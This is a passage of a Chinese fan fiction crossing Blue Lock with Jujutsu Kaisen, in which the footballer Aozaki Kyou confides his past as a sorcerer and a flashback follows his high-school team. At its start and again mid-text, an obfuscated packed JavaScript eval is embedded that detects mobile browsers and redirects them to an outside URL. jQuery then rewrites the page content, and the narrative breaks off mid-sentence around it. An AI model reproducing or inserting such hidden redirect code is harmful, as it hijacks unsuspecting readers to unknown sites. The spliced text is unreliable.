;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169315|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位造成了我会退出Z队的误会。只顾着自己,没考虑到大家的心情,真的很抱歉。” 说这话时,苍崎向「大家」道歉,脸却始终朝着久远。 久远的决心因为他的道歉产生了动摇。 “苍崎?你在说什么?” “是啊,你在说什么东西!”雷市从背后按住镜的肩膀,高亢的斥责声在镜的耳边轰然炸开,“你*屏蔽*的在对谁道歉啊!这家伙就是个该死的叛徒啊!” 镜只是自顾自地拿开雷市的手。 “但是,这是事实吧。”他说,“选择承担起Z队最重要的职务,却没能做好,差点害得你们十人作战。” 没有人反驳。正如刚才久远的话一般。 “而且,总是拿自己的身体乱来。”镜继续说,“久远和洁关心我的情况也有为了队伍考虑的一面,但是我却沉浸在自己的想法和感受里,对它们视而不见。” 雷市回过神不可置信地问:“你怎么、忽然反省起自己了……” “……”镜没回答,只是看着他。 “好了,各位球星原石们,现在比赛结束。”绘心甚八的声音从熟悉的屏幕里传来,熟悉的黑框眼镜,熟悉的黑衬衫,只是这次他没有说些什么,而是着苍崎镜,“除了你,232号,你要去监控室。” 镜对着绘心甚八在屏幕上的影像点了点头,向雷市和他身后的Z队招了招手。 “我走了。”说完,他顿了顿,“久远,虽然我讨厌你,但是谢谢你。” “什、什么?”久远只觉得苍崎是不是疯了,“谢谢?” “啊,谢谢。”镜平静道,“多谢你让我意识到,现在的自己到底有多么无能。” 久远愤怒道:“什么意思?在讽刺我吗?” 镜没有回答,眼下大概只有他自己知道自己说的是真话还是假话。 “总而言之,不管用什么办法,我都会回来和你们踢完最后一场比赛。” 下一场比赛不过是几天后,这段时间对于需要休养的镜来说紧迫无比。 想到镜额头以下血流不止的样子,洁紧盯着他的表情,“但是眼睛的事……” “不需要休息。”镜打断道,说完又低声说,“不需要休息,我能想办法解决。” 怎么会这样?洁无法理解。为什么这场比赛结束,自己和镜的距离反而增加了? “……”千切的脖子上还留着薄汗,走过来抓住镜的手腕,“走之前再聊聊吧。” 镜明显犹豫了,但还是答应了下来。 “好。” 一段时间后。 球员通道内,所有人都已走光了,只剩下镜和千切一左一右靠在通道的两侧。 镜叹口气,“……想和我聊什么?照你说的,我已经和你配合了。” “是因为那个叫夏油的男人?”千切开口说,“所以,你想踢完下场比赛,就回你们那边的世界去?” “——”镜一时失语,随后沉默,“千切,你为什么这么笃定?” 千切换了个姿势,抱起手臂,看向通道里两侧安装的照明灯。 “从你应对那个缝合线怪物时的熟练态度看,你不是第一次解决这些事件吧。”千切侧过头,严肃地看着镜,“那在你眼里我们是什么?没用的普通人?解决危险时的累赘?” “没有的事。”镜急忙辩解,和千切对视几秒钟后,低声坦白,这也是他第一次和自身认知中的「普通人」袒露与那个世界有关的决定: “我只是不想再逃避。” 千切皱起眉,“你把和我们踢球视作逃避啊……好,我懂了。” 虽然有着诸多谜团,但千切逐渐从过往的只言片语和那晚看到的东西上拼凑出苍崎的情况。一直以来都要应付那种东西的话,忙着伤心和愤怒都是浪费时间自寻死路的行为,指望别人救自己大概也会尸骨无存。 也许就是因为被这种思维深深影响,现在的苍崎才会是这副样子:果断、执着、自我,对周遭的环境和人际关系豪不敏感,不信任大众眼里的常识,也绝不依赖常规。 千切想了想,问苍崎:“你们那边管自己叫什么?” “……”镜不说话。 千切猜到他在想什么,叹口气,“好了,别担心。我不会因为听你说句话就怎么样的。” “和那个没有关系。我们那边原则上要向普通人隐瞒这些东西。”镜默默解释。 “啊,原则上。”千切笑道,“原则上,我从一开始就不应该看到那东西吧?” “既然那天你选择救了我,那让我知道更多也无妨吧。” 镜安静了很久。就在千切以为他不会再回答时,忽然开口。 “咒术师。”镜郑重地说,“我们是「咒术师」。祓除从普通人的负面情绪中诞生的诅咒,保护人类的人。” “这样啊。”千切好奇道,“既然有那样的事要做,为什么会开始踢球?” “和我们普通人不同,足球对你们的意义应该很微妙吧,就像那个怪刘海男人一样。” 镜忽然觉得不妙,再任由千切这样问下去自己的秘密会暴露得更多。 他拿出一开始的理由:“因为身边的人都在踢,所以就开始踢了。” 千切挑起眉,“我没听过日本有像你这样的人在踢球。” 镜快速解释道:“是德国。我小时候,和姨妈一起住在德国,后来才回日本。” “还有,咒术师不都像我一样……” 眼看着千切一副皱眉思索的样子,镜紧急打断道:“就是这样。你问这个干什么?” 千切淡淡道:“没什么。” 镜一脸不信,“真的吗。” “其实,是有一点疑问。” 他注意到一个关键的「矛盾」。 “如果你也是「咒术师」,为什么那天必须等到那个刘海男人去祓除那个咒灵?” “……非要知道的话,我因为某些原因已经不是咒术师了。”语毕,一阵沉默后,镜再度开口:“使用咒力,祓除咒灵……现在的我没有咒力,做不到那种事。” 他慢慢地说: “很奇怪吧,这种事情对你来说应该很难理解。千切只要知道,现在的我回去也是累赘就够了。” 用不了咒力,没有术式,甚至会产生诅咒的自己,和夏油口中的猴子有什么区别? “听着在球场上不停表现的你说出这种话还真是让我火大啊。” 千切皱起眉。 “既然是这样,你为什么还要回去?” “所以,说这么多是在挽留我?”镜点破道。 “啊,没错。” 赤红的颜色撞进湛蓝的眼眸中。 “毕竟,和你踢过一次球的人,都很难不想有第二次吧。” “这算是夸奖?”镜无动于衷,触及这个话题,镜逐渐变得不耐烦起来,“你明明猜到,无论如何我都会和你们踢完第一轮淘汰赛。明明这样已经仁至义尽了吧,千切!” “你在对我发什么脾气。”看在那个传球的份上,千切耐着性子说:“反正这里只有我们两个人,说真心话有什么不行吗?” 就算和你们倾诉,又能有什么用?镜心里乱糟糟的。 “……我当然想留在这里。”镜说道,“但是,那是我的过去。我现在很弱,就算如此,我也不可能让以前的同伴独自面对危险。足球对你们来说是一切,但对我来说,没有比同伴的安危更重要的事。” 对「苍崎镜(五条镜)」来说,足球很重要,但是为了更重要的事可以放弃足球。 镜站在光和影子的边缘,闭上眼。 “让我一个人待会吧,千切。” 30.羁缠成茧 空空荡荡的等候室,显示屏上面播报着蓝色监狱负责人的采访。 镜坐在椅子上,手指摩挲着护身符,银质的挂坠光泽冰冷,恰如与它有关的另一位魔女那冰凉的眼睛。 “苍崎镜,医生到了。”帝襟杏里走进来说,她的眼中倒映着白发少年头颅低垂的背影。 “嗯。”镜站起来,将护身符收起来,“辛苦了,杏里姐。” 到了疗养室,一进门苍崎镜就被数个穿白大褂的医生团团围起,前呼后拥地安排他配合诊断。用作辅助诊断的医用器材在他的身上招呼,医生的面色因为有口罩的遮挡看不太清楚,但从仪器上红色的数字看,恐怕并不明朗。 为首的中年医生摘下口罩,露出下巴上粗糙的胡茬,他摇摇头。 “眼底视网膜出血。这孩子很幸运,不会就此瞎掉,但是视力肯定会受影响。” 杏里不想为难医生,但还是带着一丝期望道:“没有其它办法了吗?” 医生叹口气,胡茬随着他的动作皱起。 “杏里小姐,只是视力下降,没有其它后遗症,这已经是万幸了。”他暗示帝襟杏里的要求太过强人所难,“如果非要治好他,大概去神社求神拜佛会更有效一些。” 医生收起笔记,指挥学徒们把带来的东西带走。他对帝襟杏里礼节性地点点头。 “那我们就走了。日后杏里小姐还有什么用到我们的,尽管吩咐。” 杏里只好作罢,同样礼节性地走到门口送别,“辛苦了,长野医生。” 关上门,医生们的白色衣角就再也看不到了,只剩下渐行渐远的脚步声。 帝襟杏里双手放在身前,背对着苍崎镜站在门边,看不到她的表情。 “杏里姐?” 帝襟杏里忽然转过身,她情绪激动,话语里出现了代表愤怒的重音跟颤抖。 “苍崎镜,我说过,不要随便受伤。” “这样做有什么好?为什么总是要把自己的安危当作可以随随便便丢弃的东西?” “对不起。” “不要对我说对不起。你这样对待自己,难道不是该对自己说对不起吗?” “就算这样,我也还是可以踢球的。” 帝襟杏里深深呼气,“不,苍崎镜,你根本不明白。” 原本美丽的宝石出现了一条裂缝,但这里可不是接纳了以瑕疵为美的卢浮宫,而是结果至上主义的球场。 目睹无数球员来来往往的帝襟杏里了解这些,她轻轻对镜说:“你根本不明白……” 苍崎镜揉了揉眼睛,想起此前下定的决心,声音变得坦然起来。 “不,我明白。杏里姐。” 他明白对于一个在赛场上战斗的球员来说,要背负多少东西才能成为幸存者,要付出多少代价才能不被命运残忍地淘汰。平凡的天赋、恼人的伤病,还有时不我待的运气和奇迹。背负着这些东西在球场上生存的球星们,是实打实的肩负起命运却又不被命运压垮的「强者」。 “我想和你坦白一些事。”白发少年站起身,“——有关我自己的事。” 帝襟杏里想到几天前忽然损坏的监视器和绘心先生奇怪的态度,敏锐地提问: “那次电路故障和你有关?” 镜一时没有说话,他在默默思考杏里说的是哪门子电路故障。等反应过来,不由得笑笑。 “不只是。”说这话时,镜的脑海里浮现出的是球员通道里千切的身影。大概是千切的那番坦言模糊了他心里暗藏的咒术师和普通人的界限,将真相坦白给杏里,也显得不是那么「错误」了。 “我之前的工作是「咒术师」。” 镜顿了顿,看到杏里只皱着眉,并未露出惊讶的表情。 “杏里姐已经听过这个词了吧。” “从绘心先生带来的「那个人」那里。” 透过疗养室的监控,黑暗里,绘心甚八戴着眼镜平静地旁观着镜和杏里的交流。 “不说些什么吗?绘心先生。”夏油杰坐在他身后的沙发上,看着桌上的泡面,皮笑肉不笑地说,“被合作伙伴用泡面招待对我来说是第一次呢,绘心先生真是个奇妙的人。” “毕竟这里是我的房间,肯定也只会有我喜欢的食物。”绘心甚八理所当然地说,不在任何时候都能做到理直气壮就是他的性格。 想到阻挠自己把镜带走时绘心甚八也是这副态度,夏油杰不禁笑道: “所以,这就是猴子的待客之道吗?” 被这么攻击也不是一次两次了。绘心甚八不仅从容地接下了夏油杰的嘲讽,而且回以一句: “恕我直言,你现在想从我这里夺走的球星原石也是你所谓的猴子。” 夏油杰笑了笑,似乎早料到了绘心甚八会这么说。 “镜怎么可能和你们相同。” 屏幕中的白发少年还在向帝襟杏里坦白着自己的身份和这些天里发生的一切。夏油杰看着那一幕,掩下心中隐约的不快,对着绘心甚八坐在电脑椅上的背影解释道: “他的「灵魂」永远是咒术师的灵魂。” “只要换一具合适的身体,他就还是咒术师的一员。” “嗯。”听着夏油杰这些咒术师特有的暴论,绘心甚八不置可否,“这就是理由?” 他转过身,带着某种看透了的眼神凝视着姿势大开大合坐在沙发上的夏油杰。“让苍崎镜重新做回咒术师,”绘心甚八早已理解了一切,“只是为了满足你的「私心」吧,夏油さん。” “怎么会呢?绘心先生,”夏油杰说道。 “现在的咒术界正在蓬勃生长的时期,最需要镜这样的优秀人才。” 绘心甚八转过头去。“你看过上一场苍崎镜的比赛吗?”他突然问。 夏油杰没说话,但双方心知肚明,他的答案很显然是没有。 “啊啊,咒术师真是傲慢呢。”绘心甚八说,“不过,奉劝你最好去看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196517|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 夏油杰捧起茶杯,从容道:“猴子们的运动。不看会怎么样?” 绘心甚八吐槽道:“我可没让你用咒术师的眼光去看。” 白发少年的声音从屏幕里传来。 「杏里姐,对我来说这是唯一的办法。我既要成为一流的足球选手,也要成为可以保护好同伴的咒术师。」 “我只是告诉你,不去看看,你会错过什么。”他双手交叠抵在下巴,“比如说,苍崎镜作为球员在球场上「进化」的瞬间。” 那是每个人都有的逃避不了的羁缠,对苍崎镜来说,时至今日他终于百分百地意识到,想要在这条路上继续前进,就必须负担起过去的身份赋予他的东西:一种使命,就是想要存活就必须做到的事。 即使它纠缠在身如虫茧般生硬掠夺他的氧气,也要在窒息之前将它冲破。 此时此刻,疗养室内。 “杏里姐,对我来说这是唯一的办法。”苍崎镜说道,“我既要成为一流的足球选手,也要成为可以保护好同伴的咒术师。” 对帝襟杏里来说,过去十五分钟里接受的信息太过于超出她的理解限度了。但至少终于回答了六年前她就产生的问题:苍崎镜的身世到底是什么样的? “虽然有些超出我的认知外,但是,”帝襟杏里用呼吸使自己冷静下来,专注于眼下的话题,而不是脑海里层出不穷的种种念头和假设,“感觉是你会给出的答案。” 对于期待着优秀的球员能够在赛场上大放异彩的帝襟杏里来说,苍崎镜给出的答案在她的可接受范围内。 帝襟杏里带着回忆看着苍崎镜。明白了这一切后,少女时期在下雪的公园偶遇的孩童渐渐和眼前风轻云淡的白发少年重叠在一起。帝襟杏里也在这瞬间第一次看清苍崎镜眼里多年未变的心情。 在那座公园之中,男孩站在简陋的「球门」前,停下了脚步。 为什么不去进球呢? 回忆中的帝襟杏里向男孩问道。 这一次,在六年后,他终于出声: “因为我很弱。”苍崎镜默默看向自己的手,“如果赢了比赛,其它的事却是一团糟,那种胜利对我来说毫无意义。” 他攥紧拳头。 “所以,如果这就是我的命运,我不想再逃避它。” 随着话音落下,疗养室的门口,忽然传来鞋跟的踏地声和懒洋洋的鼓掌声。 “第一次再见,就看到你在耍帅呢。” 高挑的长发女性慵懒地吊着眼角,口吻是问候好久未见的朋友般带着感慨的亲切。 “嘛。虽说用好久不见更合适。” “硝子?” 家入硝子“嗯”了一声,猫咪一样地眯起眼微笑,对着镜挥了挥手里的病历本。 “杰说这里有一例外科严重病例,正好下班,我就过来看看。” “总觉得他想瞒着我什么,但是又不情不愿的。所以记得去说说他哦,镜。” 31.外传·仅是全国大赛 2017年。 苍崎镜拿起手边的饮料,不顾形象地豪饮起来。他的手边摆放着展开的报纸,报纸的标题印刷着加粗的黑体大字:「陨落的前兆?杉泽第三天才新星苍崎○○疑与队友不和!」 窗口的缝隙透入阵阵燥热,镜起身关好门窗,盯着社团休息室的空调。 “又坏了。”他轻声说。果然,这所学校的足球社还是不受重视吗? “这也没办法啊,毕竟我们是没踢出成绩的垃圾社团。”一道声音插入道,镜朝门口看去,是一个穿着运动服没见过的陌生男生。 见镜注意到自己,陌生男生插兜,挠着头驾轻就熟地走进来。看到散落的报纸和上面唱衰的报道,他将视线落在镜略显凌乱的白发上,自来熟地指着饮料罐笑呵呵地问: “这是什么牌子的饮料?能请我喝吗?” 陌生男生仰起头,将镜请客的波子汽水不客气地喝了个精光,他张开嘴巴,忍不住发出了爽快的嘶气声。 “啊啊——怎么说,简直是1V21啊,最后那场比赛。”陌生男生感慨道,他的余光看着低头不语的镜,“没人传球、被人针对,就算这样还要踢下去,你真是男子汉,苍崎。” “我赢了,不是吗?”镜捏紧手中坚硬透明的汽水瓶。 一想到那场县内预选赛决赛他就感到一阵烦躁。大脑皮层被点燃般变得失去理智。 那场比赛的最后的十九分钟,在比分平的情况下,他作为替补前锋上场,己方球员却根本不给前场的自己传任何球。如果不是最后他自己从队友脚下抢走足球,而且成功射门得分——那么结果可想而知。 陌生男生愣了一下,随即露出看破了什么般了然又怀念的微笑。 “但是,足球,可不只胜负那么简单。” 镜没理会,盯着手中的瓶罐,指尖摩挲着上面的花纹。 “莫名其妙。” 陌生男生微微一笑。站起身,当着镜的面活动起身体——蹲起、跳跃、俯卧撑,终于在镜忍无可忍时停下,握拳笑着道: “好。终于回到「据点」了,简直是成功的一大步。话说空间还是这么狭小啊。” 镜蹭地起身,平静地盯着陌生男生,“所以,你到底是什么人?” “不知道的话,你很快就知道了。”陌生男生揣着兜,边笑着边随意地摆手。 “蓝色的天才。” 2017年,杉泽第三因后半程多名首发社员的临时退社被迫退出全国大赛赛程。 看着收拾装备的前队友们毫不避讳地在休息室里聊天,把脚放在桌子上,镜抱臂靠墙闭着眼对眼前的一切不言不语,但对方似乎并不想就这样普通地离开这里。 一道阴影当头打下,镜抬起眼,是足球社之前的一位首发队员。在之前的比赛里他是在中场负责组织防守的核心角色。 “苍崎,我说你,前辈要走了也不说点什么吗?”他抱怨道,“真是不懂人情世故啊。” 休息室内爆发出一阵嘲笑。空调被临时替换成电扇,风扇声呼呼响彻阴暗的房间。 “明明是高一却那么嚣张。” 镜什么话都没说。这似乎让这些人的气焰更嚣张了,领头的高个一拎包撞歪他的肩膀走向门口,末了回过头投下冰冷的视线。 “以为自己是谁啊,只是个得意忘形、只顾着自己,没有一点团队配合的野鸡前锋。” 在鱼贯而出的社员边,镜攥紧拳头,骨节发出阵咔咔的恐怖声响。 “喂,你不服气?难道我说的不对?”听到动静,原本走出了休息室的社员追问。 “你的球风,完全就是个不管不顾,只管一通乱踢,还强迫别人跟上你节奏的霸王。” “我们能忍到现在完全是个奇迹,你加入社团也几个月了吧,还任性得像小孩子吗?” 昔日的同伴,今日的社员用镜陌生的语调七嘴八舌地指责道。 “怪不得是个替补。如果不是为了全国冠军,谁要让你这个高一生出风头啊……” “全国冠军?”镜忽然抬头,萦绕着郁气的眼眸瞥视众人。 “别开玩笑了,你们这些半吊子,完全不可能拿下全国冠军。” 他的话似乎戳破了前辈们的表演,将那已遍体鳞伤的自尊展示在了大众面前。 “苍崎!”前辈怒吼道,揪住他的衣领喊道:“别得意忘形!” “我没说错。”镜坚持道。 “你们连我的节奏都跟不上,到了强度更高的全国大赛也只会是拖队伍后腿的家伙。” “你的意思是,我们还要多亏了你,才有机会体验全国大赛的强度?”理解了镜的意思后前辈笑出声来。“简直好笑得不行。喂,苍崎你果然是从火星过来的吧?” 他笑着看了看表,在附和性的哄笑声中无奈地松开镜。 “算了,到时间了,我们去找教练吧。” 因争吵变得凌乱的休息室内,镜一个人坐在桌子上。记录战术的圆珠笔咕噜噜滚落在地,砸得黑色墨水溅落在灰白地板上。 嘀嗒,嘀嗒。时钟依旧转动。 “……苍崎。”一道声音在角落响起,是队伍之前的替补中场。 “我知道现在催你做什么合不合适,但是教练之前跟我说让我喊你过去……” 移步走廊后,镜的眼中只剩下眼前的路和两侧低矮的墙。越是接近教练办公室,越是有一种预感在他的心里出现。 最后站在门前,手握住门把手,停顿后微微用力进入房间。 …… 一段时间之后,镜从办公室走出。身后跟着长野——长野俊一,教练亲自指定的足球社新社长,也是那天找茬一般摸进休息室的陌生男生。 “请多指教,苍崎。”长野俊一乐观地伸手,“要靠我们两个主力重建足球社咯。” 镜看着他,“没用的。” “没用?苍崎,何出此言?” “虽然不想承认,但——” 镜顿了顿。 “足球比赛只靠两个人是赢不了的,如果要用水平比那些人还差的新人顶替他们,我们进入全国大赛的几率只会更低。” 长野俊一撇下眉毛,露出牙齿笑道:“啊啊,原来是这事,这没什么,我们肯定——” “队长,不可能的。”镜直接打断了长野的话。 “杉泽第三,已经输了。” “……”长野俊一的笑容消失。 “那么,苍崎,你不想改变吗?” 二人的影子被走廊窗外的夕阳拉长,泛着橘红倒映在尽头的墙上。 “青春苦短,可没有那么多机会给你浪费啊。” 长野俊一露出遗憾的眼神。 “哪怕你是天才。” 半晌,镜动了动,而身后墙上的影子也随着他的动作动了动。 “还是说,在一支输了的球队待着,让你这样的天才觉得无趣了?” “都不是。”镜说,“只是,输了就是输了,没能进入全国大赛,找再多借口也是没能进入全国大赛。” 想到这里,他又感受到了那股烦躁的存在。无法前进,无法挑战更强的对手,也无法让自己的同伴变得更强。那种感觉,如蛛网般令他窒息。 “「输了就是输了」吗……你果然是个认真的人啊,苍崎。”长野俊一揣起兜无奈地摇摇头。 他沉默了一会,路途变得安静,竟然让镜感到几分不自在。 “长野,我会继续踢球。” “这个,你要是说你打算放弃足球对我来说才不妙吧。” 镜停下脚步,心中浮现出的是前队友们指责他霸道风格的风景。 “如果要赢,就必须换种方法,那我会改变自己的。” 长野看着镜,这是他第一次用认真的态度对待这个后辈。 “啊。”他笑笑,“原来是这个意思吗?那很了不起嘛,镜。” “夸奖就不必了。”镜走到长野前方,“我想赢,只是想用赢证明他们错,仅此而已。” 短短几星期,镜做到了他说到的话。 他补习战术、苦练传球,在新社员奔跑在操场上锻炼体能时,独自一人坐在足球场的边缘,拿着垒起来有五十公分高的参考书修习着。文字如流水般从他的笔尖淌落,渐渐融入樱花绽放的春日。 啪地合上笔记,伸个懒腰。 “苍崎,特别修行结束了?”长野走过来打招呼道,怀里抱着足球,“来训练吗?” 一刻不曾休息,镜点点头,活动手腕和长野一同走向球场。 “苍崎学长,长野学长。”踏过边线,此时在练习传接的新社员纷纷停下来问候。 “这样太慢了。”镜走到围成一圈的替补队员中央,将原本留在中央的球员推到包围圈里,看着不知所措的新社员揉了揉肩膀平静地说明:“还是我来吧。” “苍崎,别太欺负新人哦!”场边留守的同辈生嬉笑着招手大喊。 镜貌似充耳不闻,将自发传到他脚下的球轻踩踢起,抱在怀中看向四周。 “这是我们第一次在球场上见面。”他微微颔首,“自我介绍一下,我是苍崎镜,背号是7号,在杉泽第三球队担任前锋。” 镜「在球场上见面」的形容似乎激起了新人们的想象。混杂着恐惧的战意从他周围的球员身上散发出来,在狭小的包围圈中随着吹来的微风而起伏。 他放下球,踢向前方的球员,“那么,开始吧。” 日落西沉,长野俊一看着手上一个横线都没有的记录,感慨着首发队员和新人的差别,一个个扶起瘫倒在地上的成员。 在另一边,镜也在做一样的事。 “……”细眉毛高眼角,显得有点刻薄的新人咽了口气,“……苍崎学长,我能行。” 镜收回手。 细眉毛新人自己撑着地站了起来,镜看着他裤管内僵硬的小腿抬起头望着他。 “这是杉泽第三的特殊训练吗?” 镜扶起另一个队员,抽空回应道:“没有那种东西。” “不想跟我说啊,无妨。”细眉毛新人喘息着,盯着镜的背影,“喂,苍崎学长,你会把我们当主力成员训练的吧?” “那是教练先生的事。”镜头也不回地说道,“有意见的话可以去和教练讨论。” “苍崎学长。” 细眉毛新人拦住苍崎镜的路。 “我是灰吕朝。在之前的队伍里,担任的是前锋。” 这具有特指意味的话令镜微微挑眉。 “你要和我竞争前锋的位置吗?” 此言一出,球场为之寂静。这番下克上的发言发生在杉泽第三的王牌前锋和相比之下名不见经传的新人身上。 “我说「是」,那要如何?”灰吕抬起头直勾勾地看着镜,“逼我退社吗?” 镜俯视着灰吕,冰冷的翠色眸子将眼前的少年一点点剖开,最后他转身离开。 “加油吧。”他走出两步,回头看着不敢置信的灰吕说: “还有,我不会逼任何人退社。” 被那双眼睛里的深邃和平和震慑,灰吕骤然屏住呼吸,不由自主地咬紧牙关。 “虽然觉得并不可能,但我,很期待你追上来。” 社团活动结束,镜走在回家的路上。一道的穿着相同款制服的学生看到他出现,当即远远避开。 “这就是那个逼学长退社的苍崎啊……” “真的?看着明明是个好人……” 镜换了条路走,从无名办公楼外的十字路口等待红灯变换。参加足球社,却把自己的名声搞得一团糟,果然,自己在「人类生活」上是个半吊子。 走在路上,脚边忽然窜过一只花猫。眼前的路段是一座横跨护城河的水泥拱桥,桥面平铺着铁轨。拱桥对面叫不出名字的杂树苗底下站着一个眼熟的男生,似乎也在等红灯过去。苍崎认出他是同班的虎杖。 就当镜准备识趣地绕路离开时,第一次和他单独见面的虎杖却热情地问道: “啊,是苍崎。你家住在这一带吗?” 镜顿了顿,“你不怕我?” 红灯变绿,虎杖一头雾水地走过来,上提背包。 “怕?” 看到一脸冷淡个头又高的白发少年,虎杖没感觉到什么攻击性。 “感觉苍崎你心情好像不好。”虎杖观察道,“但是应该不会和我打架吧。” 镜悠长地叹息。 “继逼前辈退社后又是随处打架吗?” “什么?” “没什么。” 从刚才的只言片语里,虎杖领悟到了什么,揉了揉鼻子笑着解释: “我没说苍崎是不良,我只是看到你就想到「那次」走廊里的事而已。” 走廊里……镜睁大眼。是那次啊,外校的学生不知怎么混进来堵着杉泽第三的女生的那件事。 最后在他一拳砸断为首男生的指虎后事情不了了之。 “只是因为他们在别人的学校乱来。” “嘛。”虎杖没说什么,而是自顾自地凑上来,“苍崎,你吃饭了吗?我肚子饿了。” “没有。我得回家吃饭。” “为什么?家训?” “抱歉。我要先买菜,然后回去做饭。” “哇啊,真遗憾。” 看着调了头依旧跟着自己走的虎杖,镜停下脚步问道: “你要去哪里?” “医院。”虎杖指向镜的身后,说完便超越他走过马路,“再见,明天见,苍崎。” 镜这才意识到调头的其实只有自己,而虎杖的路一直是从拱桥过来过路口到前方。 他独自站在指示灯通红的十字路口,觉得自己表现得很蠢。 回到和橙子的家中,连做完晚饭清洗餐具的时间脑海里都浮现着虎杖的笑脸。 泡沫在不知不觉间填满了洗碗池。 那家伙是怎么做到对自己那么笑的,难道说那也是「普通人」的反应吗? 清澈的水流缓缓涌上,在厨岛的台面上聚成一滩好似明镜的积水。看着积水中映照出的自己的脸,镜用食指按住嘴角,想象着虎杖的笑容微微向上提拉。 “哟,苍崎,今天也完成特别修行了?” “嗯。待会,继续练习吧。” 镜背对着长野,弯腰收拾着休息室内散落一地的报纸书籍。 “真勤快啊。”长野感慨,“如果其它人也和你一样卫生就好了!” 镜放下一摞整理好的书,背影停顿,回头对着长野露出了一个练习已久的微笑。 “谢谢,队长。” “……” 长野愣在原地,好一会才欲盖弥彰地开始在休息室里走动。 “咳咳——怎么评价呢,苍崎,这是你为我们的首秀采访准备的秘密武器吗?” “不,是为了表达我的心情。”镜收起笑容,淡淡地把报纸一份份放进档案柜。 “哈哈——原来如此,表达恶作剧的心情吗?“长野调侃道。 “……”镜露出阴嗖嗖的表情,什么也没说,默默收拾好休息室走向球场。 “是「感谢」,白痴队长。” 进入2018年,全国大赛的赛程迫近。镜从球员通道走出,再度踏上熟悉的赛场。这是宫城县县预选赛的第一场比赛,在一个小体育场举办,来的观众不多,发出稀稀拉拉的讨论声,和他想象的情况有很大区别。 “搞什么,结果我还是边后卫吗……”灰吕忍不住嘁了一声,看着前方镜的背影。 过去几个月的训练让他变强了很多,但还是没能赢过那个人。 以这种不可撼动的姿态在现在的他身边霸占住前锋之位的那家伙到底有多强…… “灰吕。” 他注视着的背影忽然说话。 “是。苍崎学长。” “如果对面针对你的话,没关系。”那背影穿着的浅绿色球衣在太阳下泛着亮光,此时对他说着完全像是在耍酷的话: “我会让对面不得不把全部的人手用在拖延我身上的。只管给我传球吧。” 灰吕沉声说:“……喂,我可不是只能在学长羽翼下瑟瑟发抖的雏鸟后辈啊。” 哨声吹响,比赛开场。上半场由杉泽第三开球,长野按计划将足球精准传到了镜的脚下,观众席上爆发出前所未有的欢呼声。 “果然来防守我了。” 白发少年看着阵型变动的对手,在包围彻底形成前果断传边。 “但是那边的空档,你们要怎么办呢?” 边路灰吕压上,在越过中线的下一秒他的眼前出现了足球的影子。 没想到球会落在这里,灰吕仅凭下意识接球,在心底庆幸自己进行了足够的练习。 他抬眼看向球门——至少现在,自己这边因为防守苍崎学长出现了大空档。所以该怎么办,要带球压上吗? 顶着回防的压力,灰吕咬咬牙开始带球奔跑。但是越是接近球门,他越是发现不对劲:那群后卫,从自己身上移开视线了? 这群后卫是傻瓜吗?不、还是说—— 他看向球场对侧,另一条边线上苍崎镜正和自己持水平关系同步向球门奔跑。 灰吕如遭雷击。 自己被当成诱饵了?自己、自己才是带球的人吧? 不,还是有人关注自己的,虽然,仅仅只是一个离自己最近的边后卫。 灰吕咬咬牙,像是要宣泄什么似的在球门侧方远射打门。 天不如人愿,足球带着浪潮般降低的欢呼声落在守门员的手套中。 “抱歉!回防,回防!”他立刻朝身后奔跑,向后场招手嘶哑着嗓子大喊。 砰! 1:0的比分赫然在目。 “非常抱歉!”灰吕咬着牙背过手九十度鞠躬,“那一球是我鲁莽了,非常抱歉……” 因为这一球,整个队伍的士气不再像开场之前那般高昂,但也没有跌落低谷。他们看着长野和苍崎,就好像只要这两个人发话就能够搬回劣势。 “和去年一样啊。” 镜意味不明地讲,踏着脚步走到灰吕面前,俯瞰他显露出慌乱的表情。 “灰吕,有我为你接应,为什么不再传给我?” 灰吕咬咬牙,“因为我想自己射门……” “……”镜侧过头,“你的远射力量不够,但时机很好,如果再过一年就能进这一球。” 灰吕感到呼吸不畅,他听懂了,镜说的话分明是在默许他自作主张的行径。 “继续吧,各位。” 镜转身回到位置。 “等一等!”灰吕急着说:“苍崎学长,为什么不怪我?明明丢分都是我导致的吧!” 这是灰吕第一次无比讨厌苍崎镜的话少和冷静,至少把情绪发泄出来,别让他这么有愧疚感啊! “虽说这就是你的性格,但是这时候,只要看着就可以了。”长野从身后出现,安抚似的拍拍灰吕的头。 看着这位自己钦佩的队长,灰吕甩甩头逼迫自己调整好心情走上赛场。 只要看着…… 他的视线不由得移向镜所在的位置。站在远处,才能看清楚对手对他的防守究竟做得多么严密——几乎所有的传球路线都被人用身体封死,就连前进的方向也只剩下不好射门的区域。 灰吕攥紧手指。原来,在自己一门心思想着射门时,苍崎学长却在面对这样的后防线吗? 只要看着是什么意思,难道不该让我们去策应—— 哨声再响,足球如十分钟前一样如约回到苍崎镜脚下。但这次他没有看向远处的队友,而是看着逼迫过来的中后卫,踏步加速带球冲向了对方半场。 五秒后,苍崎镜与对方后卫发生正式接触,可随即两个晃身便将对手甩在了身后。 怎么会!听着场边的惊呼随着镜的突破再突破愈发热烈,将个中细节看得一清二楚的灰吕终于明白了为什么长野俊一只是叫他看着。 在短时间内完成两次触球变向,利用超高的爆发力抓住对手重心发生偏移的一瞬间直接带球冲刺过去,居然滥用这种暴力的做法突破——他就一点都不害怕被对面反应过来抢断吗! 